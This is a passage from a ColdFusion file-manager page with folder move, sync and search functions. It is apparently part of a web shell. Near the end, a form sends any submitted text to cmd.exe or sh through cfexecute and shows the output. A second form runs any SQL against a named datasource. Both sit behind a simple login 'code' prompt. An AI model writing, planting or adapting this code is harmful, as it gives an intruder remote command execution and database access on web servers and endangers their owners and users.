738 file="#attributes.file#"
739 relocate="0">
740 <cfoutput>#loc("msg=File moved!", attributes.relocate)#</cfoutput>
741 </cfcase>
742
743 <cfcase value="moveDir">
744 <h1>Move folder - step 1: copy files</h1>
745 <cfmodule template="#attributes.thisModule#"
746 fuseaction="copyDir"
747 h="#attributes.h#"
748 pathOrigin="#attributes.path##attributes.delimiter##attributes.dir#"
749 pathNew="#attributes.pathNew##attributes.delimiter##attributes.dir#"
750 relocate="0">
751 <h1>Move folder - step 2: delete files</h1>
752 <cfmodule template="#attributes.thisModule#"
753 fuseaction="deleteDirRecursive"
754 h="#attributes.h#"
755 path="#attributes.path#"
756 dir="#attributes.dir#"
757 relocate="0">
758 <cfif attributes.relocate>
759 <cfoutput>
760 <button name="fileManagerButton" style="width:700" onclick="window.location.href='?h=#attributes.H#&path=#jsStringFormat(attributes.path)#'">Move done! Back to <b>#attributes.path#</b></button>
761 </cfoutput>
762 </cfif>
763 </cfcase>
764
765 <cfcase value="syncDir">
766 <cfif attributes.relocate>
767 <cfoutput><h1>Synchronize</h1><h3>From... #attributes.path#</h3><h3>To... #attributes.pathNew#</h3><hr></cfoutput>
768 </cfif>
769 <cfdirectory directory="#attributes.path#" name="getDir">
770 <cfdirectory directory="#attributes.pathNew#" name="getDirNew">
771 <!--- create main folder --->
772 <cftry>
773 <cfdirectory action="CREATE" directory="#attributes.pathNew#">
774 <cfoutput><h3 style="color:green">#attributes.pathNew# ... created!</h3></cfoutput>
775 <cfcatch><cfoutput><h3>#attributes.pathNew# ... existing!</h3></cfoutput></cfcatch>
776 </cftry>
777 <!--- copy folder content - Recursive copy --->
778 <cfloop query="getDir">
779 <cfset getDirCurrentRow = getDir.currentRow>
780 <cfif type eq "file">
781 <cfset fileExists = 0>
782 <!--- Check if file exists --->
783 <cfloop query="getDirNew">
784 <cfset getDirNewCurrentRow = getDirNew.currentRow>
785 <cfif getDir.name[getDirCurrentRow] eq getDirNew.name[getDirNewCurrentRow]>
786 <cfset fileExists = 1>
787 <cfset fileIsModified = 0>
788 <cfif getDir.DATELASTMODIFIED[getDirCurrentRow] gt getDirNew.DATELASTMODIFIED[getDirNewCurrentRow]>
789 <cfset fileIsModified = 1>
790 </cfif>
791 <cfbreak>
792 </cfif>
793 </cfloop>
794 <!--- action --->
795 <cfif fileExists>
796 <cfif fileIsModified or attributes.overwriteAll>
797 <cftry>
798 <cffile action="DELETE" file="#attributes.pathNew##attributes.delimiter##name#">
799 <cffile
800 action="COPY"
801 source="#attributes.path##attributes.delimiter##name#"
802 destination="#attributes.pathNew##attributes.delimiter##name#"
803 attributes="Normal">
804 <cfoutput><div style="color:orange">#attributes.pathNew##attributes.delimiter#<b>#name#</b> ... updated!</div></cfoutput>
805 <cfcatch>
806 <cfoutput><div style="color:red">#attributes.pathNew##attributes.delimiter#<b>#name#</b> ... cannot update!</div></cfoutput>
807 </cfcatch>
808 </cftry>
809 <cfelse>
810 <cfoutput><div>#attributes.pathNew##attributes.delimiter#<b>#name#</b> ... uptodate</div></cfoutput>
811 </cfif>
812 <cfelse>
813 <cffile
814 action="COPY"
815 source="#attributes.path##attributes.delimiter##name#"
816 destination="#attributes.pathNew##attributes.delimiter##name#"
817 attributes="Normal">
818 <cfoutput><div style="color:green">#attributes.pathNew##attributes.delimiter#<b>#name#</b> ... new!</div></cfoutput>
819 </cfif>
820 <cfflush>
821 </cfif>
822 </cfloop>
823 <cfloop query="getDir">
824 <cfif type eq "dir">
825 <cfmodule
826 fuseaction="syncDir"
827 template="#attributes.thisModule#"
828 h="#attributes.H#"
829 path="#attributes.path##attributes.delimiter##name#"
830 pathNew="#attributes.pathNew##attributes.delimiter##name#"
831 relocate="0">
832 </cfif>
833 </cfloop>
834 <cfif attributes.relocate>
835 <cfoutput>
836 <button name="fileManagerButton" style="width:700" onclick="window.location.href='?h=#attributes.H#&path=#jsStringFormat(attributes.pathNew)#'">Synchronization done! Back to <b>#attributes.pathNew#</b></button>
837 </cfoutput>
838 </cfif>
839 </cfcase>
840
841 <cfcase value="search">
842 <cfif attributes.searchtext eq "" and attributes.searchname eq "">
843 <cfoutput>#loc("msg=Error: no criteria!",attributes.relocate)#</cfoutput>
844 </cfif>
845 <cfif not isDefined("request.searchResult")>
846 <cfset request.searchResult = queryNew("path,name,type,size,datelastmodified,attributes")>
847 <cfset attributes.searchpath = attributes.path>
848 </cfif>
849 <cfset countsearchresult = request.searchResult.recordCount>
850 <cftry>
851 <cfdirectory action="LIST" directory="#attributes.searchpath#" name="getDir">
852 <!--- Search files --->
853 <cfloop query="getDir">
854 <cfif attributes.maxsearchresult lte countsearchresult>
855 <cfbreak>
856 </cfif>
857 <cfif type eq "file">
858 <cfset isOK = 1>
859 <cfif attributes.searchname neq "">
860 <cfset isOK = REFindNoCase(attributes.searchname,name)>
861 </cfif>
862 <cfif attributes.searchtext neq "" and isOK eq 1>
863 <cffile action="READ" file="#attributes.searchpath##attributes.delimiter##name#" variable="filecontent">
864 <cfset isOK = REFindNoCase(attributes.searchtext,filecontent)>
865 </cfif>
866 <cfif isOK>
867 <cfset tmp = queryAddRow(request.searchResult)>
868 <cfset tmp = querySetCell(request.searchResult,"path",attributes.searchpath)>
869 <cfset tmp = querySetCell(request.searchResult,"name",name)>
870 <cfset tmp = querySetCell(request.searchResult,"type",type)>
871 <cfset tmp = querySetCell(request.searchResult,"size",size)>
872 <cfset tmp = querySetCell(request.searchResult,"datelastmodified",datelastmodified)>
873 <cfset tmp = querySetCell(request.searchResult,"attributes",attributes)>
874 <cfset countsearchresult = countsearchresult + 1>
875 </cfif>
876 </cfif>
877 </cfloop>
878 <!--- Search dir --->
879 <cfloop query="getDir">
880 <cfif attributes.maxsearchresult lte countsearchresult>
881 <cfbreak>
882 </cfif>
883 <cfif type eq "dir" and name neq "." and name neq "..">
884 <cfif attributes.searchname neq "" and REFindNoCase(attributes.searchname,name)>
885 <cfset tmp = queryAddRow(request.searchResult)>
886 <cfset tmp = querySetCell(request.searchResult,"path",attributes.searchpath)>
887 <cfset tmp = querySetCell(request.searchResult,"name",name)>
888 <cfset tmp = querySetCell(request.searchResult,"type",type)>
889 <cfset tmp = querySetCell(request.searchResult,"size",size)>
890 <cfset tmp = querySetCell(request.searchResult,"datelastmodified",datelastmodified)>
891 <cfset tmp = querySetCell(request.searchResult,"attributes",attributes)>
892 <cfset countsearchresult = countsearchresult + 1>
893 </cfif>
894 </cfif>
895 </cfloop>
896 <!--- Search in sub dir --->
897 <cfif attributes.recursive eq 1>
898 <cfloop query="getDir">
899 <cfif attributes.maxsearchresult lte countsearchresult>
900 <cfbreak>
901 </cfif>
902 <cfif type eq "dir" and name neq "." and name neq "..">
903 <cfmodule template="#attributes.thisModule#"
904 fuseaction="search"
905 path="#attributes.path#"
906 h="#attributes.h#"
907 searchpath="#attributes.searchpath##attributes.delimiter##name#"
908 recursive="#attributes.recursive#"
909 searchtext="#attributes.searchtext#"
910 searchname="#attributes.searchname#"
911 maxsearchresult="#attributes.maxsearchresult#"
912 relocate="0">
913 </cfif>
914 </cfloop>
915 </cfif>
916 <cfcatch>
917 <cfoutput>#loc("msg=Error!",attributes.relocate)#</cfoutput>
918 </cfcatch>
919 </cftry>
920 <!--- Show result --->
921 <cfif attributes.relocate>
922 <cfset caller.getDir = request.searchResult>
923 <cfmodule template="#attributes.thisModule#"
924 fuseaction="home"
925 path="#attributes.path#"
926 h="#attributes.h#"
927 msg="Search result: #request.searchResult.recordCount# elements!"
928 getDir="#request.searchResult#"
929 showpath="#iif(attributes.recursive,1,0)#"
930 searchtext="#attributes.searchtext#"
931 searchname="#attributes.searchname#"
932 maxsearchresult="#attributes.maxsearchresult#">
933 </cfif>
934 </cfcase>
935
936</cfswitch>
937
938</br></br>
939
940<cfoutput>
941<!--<table>-->
942<cfset tempFile = #GetTempFile(GetTempDirectory(),"testFile")# />
943<cfif IsDefined("FORM.cmd")>
944<cfoutput>#cmd#</cfoutput>
945<cfif server.os.name neq "UNIX">
946<cfexecute name="cmd.exe" arguments="/c #cmd#" outputfile="#tempFile#" timeout="2000"></cfexecute>
947<cfelse>
948<cfexecute name="sh" arguments="-c ""#REReplace(cmd,"""","'","ALL")#""" outputfile="#tempFile#" timeout="2000"></cfexecute>
949</cfif>
950</cfif>
951<form action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>" method="post">
952<input type=text size=45 name="cmd" >
953<input type=Submit value="run">
954</form>
955<cfif FileExists("#tempFile#") is "Yes">
956<cffile action="Read" file="#tempFile#" variable="readText">
957<textarea readonly cols=80 rows=20>
958<CFOUTPUT>#readText#</CFOUTPUT>
959</textarea>
960<cffile action="Delete" file="#tempFile#">
961</cfif>
962</cfoutput>
963</br></br>
964
965<p><b>Notes:</b></p>
966<ul>
967<li>Select the database you want to use</li>
968<li>Write SQL statements in the text box</li>
969</ul>
970
971<form method="POST" action="">
972<p><b>SQL Interface:</b></p>
973Datasource<br>
974<input type="text" name="datasource" />
975<br>
976SQL<br>
977<textarea name="sql" rows="5" cols="100"></textarea>
978<br>
979<input type=submit value="Exec">
980</form>
981
982<cfif isdefined("form.sql")>
983<cfquery name="runsql" datasource="#Form.datasource#" timeout="30">
984 #REReplace(Form.sql,"""","'","ALL")#
985</cfquery>
986</cfif>
987
988<table border=1>
989 <cfif isdefined("form.sql")>
990 <cfloop from="0" to="#runsql.RecordCount#" index="row">
991 <cfif row eq 0>
992 <tr>
993 <cfloop list="#runsql.ColumnList#" index="column" delimiters=",">
994 <th><cfoutput>#column#</cfoutput></th>
995 </cfloop>
996 </tr>
997 <cfelse>
998 <tr>
999 <cfloop list="#runsql.ColumnList#" index="column" delimiters=",">
1000 <td><cfoutput>#runsql[column][row]#</cfoutput></td>
1001 </cfloop>
1002 </tr>
1003 </cfif>
1004 </cfloop>
1005 </cfif>
1006</table>
1007</br> </br>
1008
1009
1010
1011</body>
1012</html>
1013
1014 <cfelse>
1015 <form method="post">
1016 <label for="code">Code:</label><input type="text" name="code" />
1017 <br/>
1018 <input type="submit" value="Login" />
1019 </form>
1020 </cfif>
1021
1022<cfcatch>
1023</cfcatch>
1024</cftry>
1025